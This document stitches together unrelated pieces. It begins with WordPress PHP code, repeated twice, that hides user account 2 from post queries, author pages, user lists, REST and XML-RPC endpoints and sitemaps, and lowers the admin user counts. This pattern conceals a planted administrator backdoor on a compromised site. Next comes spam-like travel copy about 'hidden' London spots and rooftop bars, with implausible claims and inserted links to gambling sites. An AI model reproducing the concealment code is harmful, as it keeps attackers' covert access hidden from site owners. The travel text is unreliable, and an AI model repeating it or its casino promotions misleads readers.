add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Stroll along the narrow canal beside the Regent’s Canal, and you’ll find a hidden garden tucked between two brick warehouses. The garden opens at 10 a.m. every day, and you can walk the 1.2‑kilometre canal path to the opposite side, where a small café serves freshly baked scones. The best time to visit is early Sunday morning; the light is soft, and the water is calm. Bring a notebook if you like sketching; the reflections of the old buildings are a photographer’s dream.
Inside the historic post office on Clerkenwell Road, a forgotten clock tower houses a small, dimly lit room. It’s not listed on any tourist map, but you can access it through a back door in the service corridor. The room contains a 19th‑century brass clock that still ticks, and the walls are lined with original plasterwork. The best way to experience it is to arrive before 4 p.m., when the light from the east window hits the clock face. The atmosphere feels like stepping back in time, and the silence is surprisingly profound.

At the Royal Hospital Chelsea, a small reading room is hidden behind a panel in the main lobby. It houses a collection of 200 rare medical texts, many of which date back to the 1700s. The room is only open to visitors who book a guided tour; the guide will unlock the panel for you. The library’s quiet corners are perfect for reading a book or simply listening to the distant sounds of the hospital’s courtyard. If you’re a history buff, the room’s layout reveals the evolution of medical care in Britain.
At the former Bank of England building on Threadneedle Street, a small rooftop terrace is accessible only to staff, but the public can see it from the ground level. The terrace offers a 360‑degree view of the city, and the best time to look up is at sunset, when the sky turns a deep orange. The terrace is not a public space, but you can catch glimpses of it from the adjacent street, which makes for a striking photo opportunity. The view of the Tower Bridge and the Thames is something you’ll remember for years.
Near the Charing Cross tube station, a small door leads to a speakeasy-style bar that is only open from 10 p.m. to 2 a.m. The bar serves craft cocktails made with local ingredients, and the walls are covered in vintage posters from the 1920s. The bar’s owner, a former bartender from Soho, will give you a quick history of the place if you ask. The best time to visit is on a Wednesday, when the crowd is thinner and the bartender can talk more about the drinks.
While exploring London’s hidden spots, you might also want to unwind with some online gaming. If you’re looking for a place that offers a relaxed atmosphere and a variety of entertainment options, check out www.www.thesalonsheffield.co.uk for a different kind of weekend escape.
These five hidden spots prove that London’s charm isn’t only in its grand landmarks. By stepping off the beaten path, you’ll find quiet corners, secret histories, and unexpected views that make your weekend unforgettable. Pack a light backpack, wear comfortable shoes, and let the city reveal its best-kept secrets to you.
Hidden gems are less-known spots that offer unique experiences, often tucked away from main tourist routes.
Early mornings or late afternoons usually have fewer crowds and a more relaxed atmosphere.
Most hidden gems can be found by exploring on foot, but local guides can provide deeper insights.
Many hidden gardens and parks are free, while some may have a small entry fee or require a reservation.

Most rooftop venues in London are well‑advertised on social media, but the real hidden bars hide in plain sight. Look for buildings that are not obvious tourist destinations—old office towers, converted warehouses, or even the back of a boutique hotel. A subtle sign, a discreet door, or a lift that stops on a floor you never expected can be the first clue. Once you’re inside, the décor usually leans toward industrial chic, with exposed brick, reclaimed wood, and a mix of vintage and modern lighting.
1. The Loft on King’s Cross – This 16‑story converted office building hosts a bar on the 14th floor. The view stretches from St. Pancras to the City. The cocktail menu includes a “London Fog” gin infusion that uses locally grown lavender. The bar stays open until 10 pm on Saturdays, giving you plenty of time to watch the city lights turn on.
2. Skyline at the Old Mill – Located in an abandoned mill on the South Bank, this venue sits on the 7th floor. The bar’s highlight is a rooftop garden with over 20 different herbs, which are used in the signature “Herb‑Infused Negroni.” The space is only accessible via a discreet staircase, which adds to its exclusivity.
3. Echo on the Thames – A former cinema turned office space, the 10th floor offers a 360‑degree view of the river. The bar’s menu features a “Cinematic” cocktail that changes daily, inspired by classic London films. The venue closes at 9 pm on Fridays, so arrive early to secure a seat.
Each of these hidden rooftops offers more than just a drink. The combination of architecture, local sourcing, and a curated atmosphere creates an experience that feels like a personal retreat. Alex, for instance, noted that the bar on the 14th floor of the King’s Cross loft had a small balcony where he could step out and feel the evening breeze, a moment that made the entire evening memorable.
While the hidden nature of these venues means they’re not always listed in mainstream guides, they do have a few drawbacks. Because they’re not heavily advertised, you might need to arrive earlier than the posted opening time to secure a spot. Also, the prices can be higher than standard bars, with a typical cocktail costing between £15 and £18, reflecting the premium ingredients and exclusive setting.
For those who enjoy the thrill of discovery, these rooftops provide a weekend escape that feels both intimate and adventurous. Whether you’re sipping a lavender gin on a chilly November evening or watching the city lights flicker from a hidden garden, the experience is a reminder that London still holds secret corners waiting to be explored.
After a night of rooftop cocktails, you might wonder how to keep the excitement going without leaving the city. Many locals turn to online gaming platforms that offer a wide range of casino games, from slots to live dealer tables. These sites often feature fast payouts—typically within 24 hours for e‑wallets—and a variety of deposit methods, making them convenient for a post‑bar night of fun. If you’re curious about this alternative way to unwind, you can explore options at www.partytimebrechin.co.uk.
London’s hidden rooftop bars are more than just a place to drink; they’re a passport to a different side of the city. By focusing on architecture, local ingredients, and a discreet entrance, these venues offer a weekend escape that feels both exclusive and accessible. Remember to check opening times, be prepared for higher prices, and arrive early to secure your spot. With a little planning, you’ll discover a rooftop that feels like a secret you’ve just unlocked.
It’s located in an unexpected space, often a repurposed building, and is known only through insider tips.
Most do, especially during peak evenings, so booking in advance is recommended.
Craft cocktails with seasonal ingredients, often served with a view of the skyline.